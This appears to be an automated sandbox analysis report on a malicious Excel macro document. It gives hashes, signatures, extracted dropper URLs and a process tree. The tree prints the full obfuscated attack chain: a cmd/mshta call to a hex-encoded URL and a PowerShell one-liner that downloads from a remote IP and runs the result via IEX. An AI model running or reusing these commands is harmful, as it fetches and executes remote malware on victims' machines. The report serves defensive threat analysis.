Analysis

  • max time kernel
    15s
  • max time network
    18s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    20/01/2022, 10:33

General

  • Target
    dce68291e9783eb07f19e2adddf04547.xls
  • Size 141KB
  • Sample220120-mlhr1shfar
  • SHA256 69cce5bc480fc153f2c2565e77466c707647cde2c2f03465d1116c6d970d7ce3
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dce68291e9783eb07f19e2adddf04547.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3136
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:996
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2484
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
              PID:2560
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2484 -s 1712
              4⤵
              • Program crash
              PID:3700
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow
        1⤵
          PID:3592
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 432 -p 2484 -ip 2484
          1⤵
            PID:3832

          Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                memory/1988-130-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

                memory/1988-131-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

                memory/1988-132-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

                memory/1988-133-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

                memory/1988-134-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

                memory/1988-137-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp

                memory/1988-138-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp